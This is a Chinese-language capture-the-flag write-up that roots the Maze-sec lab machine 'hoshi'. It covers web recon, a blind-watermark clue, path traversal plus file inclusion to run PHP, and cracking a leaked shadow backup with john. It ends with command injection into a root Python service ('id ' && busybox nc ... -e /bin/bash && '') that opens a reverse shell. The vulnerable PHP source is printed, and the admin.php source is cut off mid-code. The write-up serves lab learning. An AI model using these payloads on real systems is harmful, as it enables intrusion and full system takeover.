信息收集 服务探测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 ❯ sudo arp-scan -l [sudo ] password for Pepster: Interface: eth0, type : EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.155 08:00:27:15:ee:55 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:fc :c4:ff VMware, Inc. 192.168.60.155 08:00:27:15:ee:55 PCS Systemtechnik GmbH (DUP: 2) 5 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.948 seconds (131.42 hosts/sec). 4 responded ❯ export ip=192.168.60.155 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-' `-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Nmap? More like slowmap.🐢 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size ' -b 10140'. Open 192.168.60.155:22 Open 192.168.60.155:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-22 23:33 CST Initiating ARP Ping Scan at 23:33 Scanning 192.168.60.155 [1 port] Completed ARP Ping Scan at 23:33, 0.04s elapsed (1 total hosts) Initiating SYN Stealth Scan at 23:33 Scanning gggbaby.ggg.dsz (192.168.60.155) [2 ports] Discovered open port 22/tcp on 192.168.60.155 Discovered open port 80/tcp on 192.168.60.155 Completed SYN Stealth Scan at 23:33, 0.02s elapsed (2 total ports) Nmap scan report for gggbaby.ggg.dsz (192.168.60.155) Host is up, received arp-response (0.00043s latency). Scanned at 2025-06-22 23:33:42 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:15:EE:55 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
常规的80端口开放,目录枚举
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ❯ gobuster dir -u "http://$ip " -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.60.155 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404,403 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,zip,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 8389] /info.php (Status: 200) [Size: 85756] /uploads (Status: 301) [Size: 318] [--> http://192.168.60.155/uploads/] /admin.php (Status: 200) [Size: 2726] /robots.txt (Status: 200) [Size: 86] Progress: 1102795 / 1102800 (100.00%) =============================================================== Finished ===============================================================
浏览器访问下index.php
发现可以进行提交反馈
并且下方存在反馈记录
存在admin.php
管理后台
查看返回指纹
1 2 ❯ whatweb http://$ip http://192.168.60.155 [200 OK] Apache[2.4.62], Country[RESERVED][ZZ], Email[support@interstellar.dsz], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[192.168.60.155], Script, Title[商品反馈 - 星际商城]
反解盲水印 有个robots.txt
得到一个提示添了点特别的‘味道’
将logo图片
和Maze-sec
中的图片分别down下来
由于我做的时候,群里已经放出提示了
盲水印
很显然是一把梭的玩意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ❯ wget http://192.168.60.155/QQ.png --2025-06-22 23:42:42-- http://192.168.60.155/QQ.png Connecting to 192.168.60.155:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1544103 (1.5M) [image/png] Saving to: ‘QQ.png’ QQ.png 100%[====>] 1.47M --.-KB/s in 0.05s 2025-06-22 23:42:42 (30.0 MB/s) - ‘QQ.png’ saved [1544103/1544103] ❯ wget https://maze-sec.com/img/QQ.png --2025-06-22 23:42:48-- https://maze-sec.com/img/QQ.png Resolving maze-sec.com (maze-sec.com)... 104.21.70.78, 172.67.221.209, 2606:4700:3035::ac43:ddd1, ... Connecting to maze-sec.com (maze-sec.com)|104.21.70.78|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 1619330 (1.5M) [image/png] Saving to: ‘QQ.png.1’ QQ.png.1 100%[=======================================================================>] 1.54M 266KB/s in 5.9s 2025-06-22 23:42:58 (266 KB/s) - ‘QQ.png.1’ saved [1619330/1619330]
我使用此脚本
chishaxie/BlindWaterMark: 盲水印 by python
1 2 3 4 ❯ pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple ❯ python3 bwmforpy3.py decode ../QQ.png ../QQ.png.1 ../out.png image<../QQ.png> + image(encoded)<../QQ.png.1> -> watermark<../out.png> [ WARN:0@1.227] global loadsave.cpp:848 imwrite_ Unsupported depth image for selected encoder is fallbacked to CV_8U.
查看out.png
得到新线索hoshi/
尝试将此线索作为admin.php
的密码,无果
LFI 乍一看好像是某个路径
,作为网页路径访问后
得到gift.php
1 2 ❯ curl -s http://192.168.60.155/hoshi/gift.php <p style='color:red' >非法文件名</p>
显示非法文件名,猜测存在参数,尝试模糊测试一下
这里比较难测出来,因为回显都相同的返回长度,而且条件限制的比较严格
所以采用-hs
参数,隐藏responses
中带有非法文件名
字符串
多次尝试后,得知常规的../../../etc/passwd
是测不出来的,因为gift.php
只能包含网站根目录的文件
例如index.php
admin.php
之类的文件
并且也无法使用php伪协议
读取文件内容👀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://interstellar.dsz/hoshi/gift.php?FUZZ=index.html" --hs "非法文件名" /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://interstellar.dsz/hoshi/gift.php?FUZZ=index.html Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000741: 200 0 L 2 W 30 Ch "file" Total time: 0 Processed Requests: 2560 Filtered Requests: 2559 Requests/sec.: 0
至少拿到拿到个参数file
,以及可以包含网站根目录文件的线索
并且在我做之前,群里除了盲水印之外的提示,还有个admin.php
无需爆破的提示
奇怪了,放出两个提示都这么久了还没出首杀,就是因为这个,我才做的🤣
当你点击联系我们
,会出现一个弹窗
你会发现客服电话是加粗
并且一直在闪,这个animate-pulse
类被应用到span
的标签上,就类似于呼吸灯的效果吧
很显然这就是作者提示给我们的密码
LFI+RCE组合拳 通过密码访问后,可以发现存在三个区域
反馈文件列表
用户反馈统计
商品反馈统计
当我不断测试,XSS
之类的payload都不起效果
因为后台处理会将<
小于符号转为<
,也就是HTML实体编码
所以无法在反馈内容中写恶意payload
不过还是存在一个口子的,你会发现生成的文件名是username_datetime.txt
这种格式的
时间戳不可控,而用户名我们是可以控制的
所以可以构造一个用户名../a.php
,实现路径穿越,这样生成的文件就不在uploads
的目录中
而是在uploads
的上级目录,也就是网页根目录中
尝试一下
可以看到虽然增加了一个用户名叫../a.php
但文件列表的文件是没有增加的
通过查看feedbacks.json
,可以得到完整的文件名../a.php_20250622163609.txt
(去掉转义)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ❯ curl http://192.168.60.155/uploads/feedbacks.json [ { "username" : "test" , "email" : "test@a.c" , "product" : "test_name" , "feedback" : "test_content" , "filename" : "test_20250622162450.txt" , "timestamp" : "2025-06-22 16:24:50" }, { "username" : "..\/a.php" , "email" : "a@a.c" , "product" : "\u8def\u5f84\u7a7f\u8d8a" , "feedback" : "aaaa" , "filename" : "..\/a.php_20250622163609.txt" , "timestamp" : "2025-06-22 16:36:09" } ]
你直接访问a.php_20250622163609.txt
即可看到反馈的内容
1 2 3 4 5 6 7 8 9 ❯ curl http://192.168.60.155/a.php_20250622163609.txt === Feedback Details === Name: ../a.php Email: a@a.c Product: 路径穿越 Time: 2025-06-22 16:36:09 Feedback: aaaa ================
而然这一步步下来,你会发现这个路径穿越的漏洞并没有什么用,虽说我们可以控制反馈内容,但有HTML实体编码
导致无法执行任意代码
由于我们可以控制用户名,而且用户名并不会被HTML实体编码
,不妨试一下在用户名中插入php
代码
在后台看一下是否被解析
奇怪的是,用户名明明是我们注入的代码,但不会被执行
在源代码中显示是灰色的,查看元素显示是被注释的
这里在源码中存在另一个提示,debug静态页面生成
这里一路问作者要提示过来的😅,太菜了我
也就是当我们通过admin.php
登录后,会生成一个静态页面,以供我们访问
而静态页面是不能够执行php
代码的,一般是html
超文本标记语言,它会将php
代码视为普通文本 ,交由浏览器渲染出来
可这admin.php
明明是php
后缀结尾的,为什么不会执行php
代码,这就和后端代码有关的
合理猜测是后端将php
代码执行生成的静态html
内容返回到浏览器
也就是存在一个静态的html
文件
尝试再次目录枚举
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ❯ gobuster dir -u "http://$ip " -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.60.155 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404,403 [+] User Agent: gobuster/3.6 [+] Extensions: txt,php,html,zip [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 9251] /info.php (Status: 200) [Size: 85760] /uploads (Status: 301) [Size: 318] [--> http://192.168.60.155/uploads/] /admin.html (Status: 200) [Size: 4241] /admin.php (Status: 200) [Size: 2726]
相比之前的结果,多了admin.html
文件
还记得之前的gift.php
文件包含吗,gift.php
文件显然是以php
后缀结尾的,很明显可以执行php
语句
所以思路就来了利用gift.php
去包含admin.html
文件并且执行其中的php代码
之前写个了payload是phpinfo()
的,尝试包含一下
不出意外的解析了php
代码
传个一句话木马
直接尝试反弹shell
用户提权 监听端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from hoshi-192.168.60.155-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/hoshi~192.168.60.155_Linux_x86_64/2025_06_22-18_43_37-691.log 📜 ─────────────────────────────────────────────────────────────────────────── www-data@hoshi:/var/www/html/hoshi$ ls -al total 12 drwxr-xr-x 2 www-data www-data 4096 Jun 21 05:02 . drwxr-xr-x 4 www-data www-data 4096 Jun 22 06:42 .. -rwxr-xr-x 1 www-data www-data 1043 Jun 21 05:02 gift.php
后面就比较容易了
上传linpeas.sh
无脑扫一下
得到/var/backups
目录中存在shadow~
文件
猜测是shadow
备份文件,并且是www-data
可读
1 2 3 www-data@hoshi:/tmp$ cd /var/backups/ www-data@hoshi:/var/backups$ tail -n 2 shadow~ welcome:$6$geD2QaGnx /AiHPAb$8ihVmhNA1GIUFbAkCuUp .KzsUuzAztIlrYNbPFoyORE9U9dsf/L13AuCNpqkJSxu0HG4ltlhJFJKU2Y1Gj8Sg.:20259:0:99999:7:::
爆破得到密码loveme2
1 2 3 4 5 6 7 8 9 10 11 12 ❯ vi hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt Using default input encoding: UTF-8 Loaded 1 password hash (crypt, generic crypt(3) [?/64]) Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6 for all loaded hashes Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status loveme2 (?) 1g 0:00:00:00 DONE (2025-06-22 18:49) 3.030g/s 3781p/s 3781c/s 3781C/s 753951..shirley Use the "--show" option to display all of the cracked passwords reliably Session completed.
切换用户,终于拿到user 🚀
1 2 3 4 5 www-data@hoshi:/var/backups$ su welcome Password: welcome@hoshi:/var/backups$ cd ~ welcome@hoshi:~$ cat user.txt flag{user-73b671a5f913d849d405784a428288dd}
Root提权 并且用户存在sudo
权限,可以执行/root/12345.py
1 2 3 4 5 6 welcome@hoshi:~$ sudo -l Matching Defaults entries for welcome on hoshi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User welcome may run the following commands on hoshi: (ALL) NOPASSWD: /usr/bin/python3 /root/12345.py
并且在/opt
目录下存在两个空文件
1 2 3 4 5 6 welcome@hoshi:/opt$ ls -al total 20 drwxr-xr-x 2 root root 4096 Jun 20 13:30 . drwxr-xr-x 18 root root 4096 Mar 18 20:37 .. -rw-r--r-- 1 root root 0 Jun 22 06:58 server.conf -rw-r--r-- 1 root root 0 Jun 22 11:33 server.log
尝试直接执行下,发现会开启端口12345
1 2 3 welcome@hoshi:~$ sudo /usr/bin/python3 /root/12345.py Server listening on port 12345...
通过nc连接一下端口
存在执行命令功能,尝试执行其他命令
发现命令有白名单,只能执行以下命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ❯ nc -vn $ip 12345 (UNKNOWN) [192.168.60.155] 12345 (?) open conf> help === Configuration Shell === ?/help List available commands q/quit Exit the shell read_config Read server configuration write_config Write to server configuration list_files List files in /opt directory check_status Check server status exec_cmd Execute allowed system commands (e.g., whoami , pwd ) conf> exec_cmd id uid=0(root) gid=0(root) groups =0(root) conf> exec_cmd nc Error: 'nc' not in allowed commands: whoami , pwd , date , id
可以使用write_config
功能写任意文本到/opt/server.conf
但好像并没有什么用
bash命令注入 新开一个终端
你可以发现试错 了一段时间后,/opt/server.log
中的内容增加了
查看一下,发现执行的命令是被sh -c
包裹的
1 2 3 4 5 welcome@hoshi:/opt$ cat server.log [2025-06-22 13:11:41] ('192.168.60.100' , 53434): Received: exec_cmd id [2025-06-22 13:11:41] ('192.168.60.100' , 53434): Executing command : sh -c 'id' [2025-06-22 13:11:48] ('192.168.60.100' , 53434): Received: exec_cmd nc [2025-06-22 13:11:48] ('192.168.60.100' , 53434): Invalid command : nc
欸,那不就可以进行命令注入了
总之就是跟sql注入类似,输入白名单内的命令之后手动添加分号进行闭合,再输入第二个命令
1 2 3 4 5 6 7 8 9 10 11 12 conf> exec_cmd id ' && ls -al && ' uid=0(root) gid=0(root) groups =0(root) total 32 drwx------ 3 welcome welcome 4096 Jun 22 07:08 . drwxr-xr-x 3 root root 4096 Apr 11 22:27 .. lrwxrwxrwx 1 root root 9 Jun 20 10:13 .bash_history -> /dev/null -rw-r--r-- 1 welcome welcome 220 Apr 11 22:27 .bash_logout -rw-r--r-- 1 welcome welcome 3526 Apr 11 22:27 .bashrc drwx------ 3 welcome welcome 4096 Jun 22 07:09 .gnupg -rw-r--r-- 1 welcome welcome 807 Apr 11 22:27 .profile -rw-r--r-- 1 root root 44 Jun 20 10:13 user.txt -rw------- 1 welcome welcome 743 Jun 22 06:56 .viminfo
结果是可行的,通过日志可以得知我们构造的命令
1 2 [2025-06-22 13:19:42] ('192.168.60.100' , 53434): Received: exec_cmd id ' && ls -al && ' [2025-06-22 13:19:42] ('192.168.60.100' , 53434): Executing command : sh -c 'id' && ls -al && ''
但我测试其他符号的时候,就出现了报错
其实这里我没搞明白,后来才得知,虽然echo显示不允许出现;|&<>
但源码中实际上不存在&
所以我误打误撞正好试了&
就成了
好一个障眼法😅
1 2 3 4 5 6 conf> exec_cmd ' && id && ' Error: '' not in allowed commands: whoami , pwd , date , id conf> exec_cmd id ' || ls /root || ' Error: Forbidden characters (;|&<>) detected. conf> exec_cmd id ' ; ls /root ; ' Error: Forbidden characters (;|&<>) detected.
利用&&
直接弹shell回来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 conf> exec_cmd id ' && busybox nc 192.168.60.100 4444 -e /bin/bash && ' ---------------------------- [+] Got reverse shell from hoshi-192.168.60.155-Linux-x86_64 😍️ Assigned SessionID <4> [!] Session detached ⇲ (Penelope)─(Session [2])> interact 4 [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [4], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/hoshi~192.168.60.155_Linux_x86_64/2025_06_23-01_29_08-592.log 📜 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── root@hoshi:/home/welcome# id uid=0(root) gid=0(root) groups =0(root) root@hoshi:/home/welcome# cd ~ root@hoshi:~# cat root.txt flag{root-5de923e57adefd6a1fd53a6705ad6486} root@hoshi:~# cat congrats.txt Congratulations, Hacker! You've successfully pwned this target machine! 🎉 Your skills are top-notch, and you' ve earned ultimate bragging rights.Keep hacking, keep learning, and check out more challenges at maze-sec.com! See you in the next challenge! - Sublarge 恭喜你,黑客! 你已成功攻破目标机器!🎉 你的技术一流,赢得了至高无上的吹嘘权。 继续黑客之路,继续学习,并访问 maze-sec.com 了解更多挑战! 下一个挑战中见! - Sublarge
后记 后端实现相关代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>商品反馈 - 星际商城</title> <script src="https://cdn.tailwindcss.com" ></script> <style> body { background: linear-gradient (135 deg, #1e3 a8a, #6 b21a8); min-height: 100 vh; margin: 0 ; padding-top: 80 px; } .navbar { background: rgba (17 , 24 , 39 , 0.95 ); backdrop-filter: blur (10 px); box-shadow: 0 2 px 5 px rgba (0 , 0 , 0 , 0.2 ); } .glow { box-shadow: 0 0 15 px rgba (59 , 130 , 246 , 0.5 ); } .message-card { transition: transform 0.3 s ease, box-shadow 0.3 s ease; } .message-card:hover { transform: translateY (-5 px); box-shadow: 0 10 px 20 px rgba (0 , 0 , 0 , 0.3 ); } .back-to-top { position: fixed; bottom: 20 px; right: 20 px; background: color: white; padding: 12 px; border-radius: 50 %; transition: opacity 0.3 s ease, transform 0.3 s ease; opacity: 0 ; } .back-to-top.visible { opacity: 1 ; transform: translateY (0 ); } .back-to-top:hover { transform: translateY (-5 px); } </style> </head> <body class ="text -gray -100 font -sans "> <!-- 导航栏 --> <nav class ="navbar fixed top -0 left -0 w -full z -50"> <div class ="container mx -auto px -6 py -4 flex items -center justify -between "> <div class ="flex items -center space -x -4"> <img src ="QQ .png " alt ="StarMall Logo " class ="h -10 w -10 rounded -full glow " style ="max -width :48px ;max -height :48px ;"> <h1 class ="text -2xl font -bold text -white ">星际商城</h1 > </div > <div class ="space -x -6"> <a href ="#" class ="text -gray -300 hover :text -blue -400 transition " onclick ="openContactModal (event )">联系我们</a > <a href ="#" class ="text -gray -300 hover :text -blue -400 transition ">首页</a > <a href ="uploads /" class ="text -gray -300 hover :text -blue -400 transition ">反馈档案</a > </div > </div > </nav > <div class ="container mx -auto p -6 max -w -4xl "> <div class ="text -center text -gray -300 mb -8"> <h2 class ="text -3xl font -semibold text -white glow mb -4">商品反馈留言板</h2 > <p class ="text -lg ">欢迎体验星际商城!您的反馈是我们改进产品与服务的关键,无论是产品质量、使用感受还是建议,我们都非常重视。</p > <p class ="mt -2">请填写以下信息,提交您的宝贵意见。我们的专业客服团队将在<strong >3个工作日内</strong >处理并回复您。所有反馈将生成专属记录,存档于<a href ="uploads /" class ="text -blue -500 hover :underline ">反馈档案目录</a >。</p > <p class ="mt -2 text -sm text -gray -400">如需即时帮助,请拨打客服热线:<span class ="text -xl text -yellow -400 font -bold animate -pulse ">400-123-4567</span >,或邮件至 support @interstellar .dsz 。</p > </div > <!-- 反馈表单 --> <form action ="" method ="POST " class ="bg -gray -800 p -8 rounded -lg glow mb -12"> <div class ="grid grid -cols -1 md :grid -cols -2 gap -6"> <div class ="mb -4"> <label for ="username " class ="block text -sm font -medium text -gray -300">您的昵称</label > <input type ="text " name ="username " id ="username " required class ="mt -1 p -3 w -full bg -gray -700 border border -gray -600 rounded -md text -white focus :ring -2 focus :ring -blue -500" placeholder ="请输入昵称"> </div > <div class ="mb -4"> <label for ="email " class ="block text -sm font -medium text -gray -300">邮箱地址</label > <input type ="email " name ="email " id ="email " required class ="mt -1 p -3 w -full bg -gray -700 border border -gray -600 rounded -md text -white focus :ring -2 focus :ring -blue -500" placeholder ="请输入邮箱"> </div > </div > <div class ="mb -4"> <label for ="product " class ="block text -sm font -medium text -gray -300">商品名称</label > <input type ="text " name ="product " id ="product " required class ="mt -1 p -3 w -full bg -gray -700 border border -gray -600 rounded -md text -white focus :ring -2 focus :ring -blue -500" placeholder ="请输入商品名称"> </div > <div class ="mb -4"> <label for ="feedback " class ="block text -sm font -medium text -gray -300">反馈内容</label > <textarea name ="feedback " id ="feedback " required rows ="6" class ="mt -1 p -3 w -full bg -gray -700 border border -gray -600 rounded -md text -white focus :ring -2 focus :ring -blue -500" placeholder ="请详细描述您的反馈或建议"></textarea > </div > <button type ="submit " class ="w -full bg -blue -600 hover :bg -blue -700 text -white font -bold py -3 px -4 rounded -md transition duration -300">提交 反馈</button > </form > <!-- 反馈展示 --> <div id ="feedbacks " class ="space -y -6"> <h2 class ="text -2xl font -semibold text -white mb -4">用户反馈</h2 > <?php $upload_dir = 'uploads /'; if (!is_dir ($upload_dir )) { mkdir ($upload_dir , 0755 , true ); } if ($_SERVER ["REQUEST_METHOD" ] == "POST" ) { $username = $_POST ['username' ]; $email = htmlspecialchars ($_POST ['email' ]); $product = htmlspecialchars ($_POST ['product' ]); $feedback = htmlspecialchars ($_POST ['feedback' ]); $timestamp = date ('YmdHis' ); $filename = $username . '_' . $timestamp . '.txt' ; $content = "=== Feedback Details ===\n" ; $content .= "Name: $username \n" ; $content .= "Email: $email \n" ; $content .= "Product: $product \n" ; $content .= "Time: " . date ('Y-m-d H:i:s' ) . "\n" ; $content .= "Feedback:\n$feedback \n" ; $content .= "================\n" ; $upload_path = $upload_dir . $filename ; file_put_contents ($upload_path , $content ); $metadata_file = $upload_dir . 'feedbacks.json' ; $feedbacks = file_exists ($metadata_file ) ? json_decode (file_get_contents ($metadata_file ), true ) : []; $feedbacks [] = [ 'username' => $username , 'email' => $email , 'product' => $product , 'feedback' => $feedback , 'filename' => $filename , 'timestamp' => date ('Y-m-d H:i:s' ) ]; file_put_contents ($metadata_file , json_encode ($feedbacks , JSON_PRETTY_PRINT)); } $metadata_file = $upload_dir . 'feedbacks.json' ; if (file_exists ($metadata_file )) { $feedbacks = json_decode (file_get_contents ($metadata_file ), true ); if (is_array ($feedbacks )) { foreach (array_reverse ($feedbacks ) as $fb ) { echo '<div class="message-card bg-gray-800 p-6 rounded-lg glow">' ; echo '<p class="text-sm text-gray-400">' . htmlspecialchars ($fb ['timestamp' ]) . '</p>' ; echo '<h3 class="text-lg font-semibold text-blue-400">' . htmlspecialchars ($fb ['username' ]) . '</h3>' ; echo '<p class="text-gray-400 text-sm">邮箱: ' . htmlspecialchars ($fb ['email' ]) . '</p>' ; echo '<p class="text-gray-400 text-sm">商品: ' . htmlspecialchars ($fb ['product' ]) . '</p>' ; echo '<p class="text-gray-200">' . htmlspecialchars ($fb ['feedback' ]) . '</p>' ; echo '<a href="' . $upload_dir . $fb ['filename' ] . '" class="text-blue-500 hover:underline">查看反馈记录</a>' ; echo '</div>' ; } } } ?> </div> </div> <!-- 返回顶部按钮 --> <button class ="back -to -top " onclick ="window .scrollTo ( {top: 0 , behavior: 'smooth' })"> <svg class=" w-6 h-6 " fill=" none" stroke=" currentColor" viewBox=" 0 24 "> <path stroke-linecap=" round" stroke-linejoin=" round" stroke-width=" 2 " d=" M5 10 l7-7 m0 0 l7 7 m-7 -7 v18"></path> </svg> </button> <!-- 联系我们弹窗 --> <div id=" contact-modal" class=" fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50 hidden"> <div class=" bg-white rounded-lg shadow-lg p-8 max-w-sm w-full relative"> <button onclick=" closeContactModal ()" class=" absolute top-2 right-2 text-gray-400 hover:text-gray-700 text-2 xl">×</button> <h2 class=" text-2 xl font-bold mb-4 text-gray-800 ">联系我们</h2> <div class=" mb-4 "> <span class=" block text-gray-600 mb-1 ">客服电话:</span> <span class=" text-2 xl text-yellow-500 font-bold animate-pulse select-all">400-123-4567</span> </div> <div class=" mb-2 "> <span class=" block text-gray-600 mb-1 ">客服邮箱:</span> <span class=" text-blue-600 font-mono select-all">support@interstellar.dsz</span> </div> </div> </div> <footer class=" text-center text-gray-400 text-sm mt-12 py-6 "> <p>© 2025 星际商城 | <a href=" <p>地址:银河系地球村科技路88 号 | 客服邮箱:support@interstellar.dsz | 热线:<span class ="text -lg text -yellow -400 font -bold animate -pulse ">400-123-4567</span ></p > </footer > <script > // 动态刷新页面 document .querySelector ('form ').addEventListener ('submit ', function () { setTimeout (() => { location.reload (); }, 500 ); }); window.addEventListener ('scroll' , function() { const button = document.querySelector ('.back-to-top' ); if (window.scrollY > 300 ) { button.classList.add ('visible' ); } else { button.classList.remove ('visible' ); } }); function openContactModal (e ) { e.preventDefault (); document.getElementById ('contact-modal' ).classList.remove ('hidden' ); } function closeContactModal ( ) { document.getElementById ('contact-modal' ).classList.add ('hidden' ); } </script> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 <?php ob_start ();?> <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>反馈管理后台 - 星际商城</title> <script src="https://cdn.tailwindcss.com" ></script> <style> body { background: linear-gradient (135 deg, #1e3 a8a, #6 b21a8); min-height: 100 vh; margin: 0 ; padding-top: 80 px; } .navbar { background: rgba (17 , 24 , 39 , 0.95 ); backdrop-filter: blur (10 px); box-shadow: 0 2 px 5 px rgba (0 , 0 , 0 , 0.2 ); } .glow { box-shadow: 0 0 15 px rgba (59 , 130 , 246 , 0.5 ); } .error-message { background: color: white; padding: 1 rem; border-radius: 0.5 rem; text-align: center; } </style> </head> <body class ="text -gray -100 font -sans "> <!-- 导航栏 --> <nav class ="navbar fixed top -0 left -0 w -full z -50"> <div class ="container mx -auto px -6 py -4 flex items -center justify -between "> <div class ="flex items -center space -x -4"> <img src ="QQ .png " alt ="StarMall Logo " class ="h -10 w -10 rounded -full glow " style ="max -width :48px ;max -height :48px ;"> <h1 class ="text -2xl font -bold text -white ">星际商城 - 管理后台</h1 > </div > <div class ="space -x -6"> <a href ="index .php " class ="text -gray -300 hover :text -blue -400 transition ">返回前台</a > <a href ="uploads /" class ="text -gray -300 hover :text -blue -400 transition ">反馈档案</a > </div > </div > </nav > <div class ="container mx -auto p -6 max -w -4xl "> <h1 class ="text -3xl font -semibold text -center mb -8 text -white glow ">反馈管理后台</h1 > <!-- 登录表单 --> <?php session_start (); $admin_password = '400-123-4567'; if ($_SERVER ["REQUEST_METHOD "] == "POST " && isset ($_POST ['password '])) { if ($_POST 